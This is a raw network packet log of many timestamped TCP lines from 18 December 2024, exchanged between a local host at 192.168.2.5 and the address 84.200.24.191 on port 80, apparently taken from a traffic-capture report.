                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:41.930490971 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:41.930521965 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.049846888 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.049925089 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.049993992 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.054126978 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.054157972 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.054451942 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.121411085 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.121438026 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.121768951 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.125493050 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.125575066 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.125668049 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.133913040 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.134041071 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.134102106 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.142316103 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.142394066 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.142446995 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.150686979 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.150904894 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.150979996 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.159109116 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.159269094 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.159332037 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.167507887 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.167618036 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.167681932 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.175860882 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.175987959 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.176063061 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.184324026 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.184380054 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.184453011 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.192646027 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.192745924 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.192811012 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.200546026 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.200685978 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.200745106 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.208503962 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.208623886 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.208681107 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.312366962 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.312402964 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.312473059 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.313671112 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.313709021 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.314017057 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.318367958 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.318403959 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.318494081 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.322019100 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.322180986 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.322242975 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.326682091 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.326781988 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.326961994 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.331384897 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.331556082 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.331619024 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.336136103 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.336189985 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.336388111 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.340704918 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.340838909 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.341048956 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.345336914 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.345372915 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.345514059 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.349769115 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.349863052 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.349920034 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.354422092 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.354558945 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.354618073 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.358753920 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.358916998 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.359011889 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.363266945 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.363358021 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.363445044 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.367815971 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.367908001 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.368078947 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.372229099 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.372365952 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.372515917 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.376782894 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.376811981 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.376867056 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.381252050 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.381299019 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.381817102 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.385785103 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.385885000 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.385962009 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.390281916 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.390327930 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.390721083 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.394706964 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.394758940 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.395095110 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.399189949 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.399285078 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.399386883 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.403753996 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.403870106 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.403928995 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.408269882 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.408370018 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.408579111 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.432081938 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.432166100 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.432307959 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.434263945 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.503324032 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.503395081 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.503463984 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.505172968 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.505198002 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.505310059 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.508738995 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.508809090 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.510015965 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.510121107 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.510380030 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.513793945 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.513839006 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.513997078 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.517091036 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.517182112 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.517417908 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.520515919 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.520632029 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.520843029 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.523909092 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.524051905 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.524215937 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.527158022 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.527201891 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.527271032 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.530375957 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.530492067 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.530592918 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.533451080 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.533488989 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.533546925 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.536576986 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.536597967 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.536652088 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.539634943 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.539741993 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.539871931 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.542776108 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.542901039 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.542962074 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.545728922 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.545794010 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.545860052 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.548710108 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.548826933 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.550165892 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.551791906 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.551846981 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.552099943 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.554883003 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.554971933 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.555100918 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.557924986 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.558043003 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.558196068 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.560969114 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.561064959 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.561207056 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.562763929 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.562879086 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.562931061 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.564589977 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.564686060 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.564737082 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.566406965 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.566513062 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.566663027 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.568435907 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.568536043 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.568752050 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.570045948 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.570178986 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.570297003 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.571901083 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.571962118 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.572042942 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.573678970 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.573848963 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.573893070 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.575535059 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.575659990 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.575767994 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.577316999 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.577429056 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.577608109 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.579159021 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.579341888 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.579385996 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.581027031 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.581084967 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.582799911 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.582847118 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.582894087 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.582945108 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.584640026 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.584784031 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.584830999 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.586445093 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.586601019 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.586658001 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.588300943 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.588423014 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.588478088 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.590109110 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.590270996 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.590323925 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.591994047 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.592067957 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.593763113 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.593822956 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.593868971 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.593925953 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.595741034 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.595788956 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.595844984 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.597496986 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.597523928 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.597584009 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.599302053 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.599366903 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.599420071 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.601053953 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.656418085 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.694463968 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.694608927 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.694672108 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.695346117 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.695765972 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.695808887 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.695868015 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.697477102 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.697560072 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.697607994 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.698887110 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.698930979 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.698992968 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.700722933 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.700783968 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.700817108 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.702553988 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.702567101 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.702599049 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.704297066 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.704335928 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.704586983 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.705996990 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.706026077 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.706048012 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.707614899 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.707669973 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.707767963 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.709268093 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.709320068 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.709369898 CET804980784.200.24.191192.168.2.5
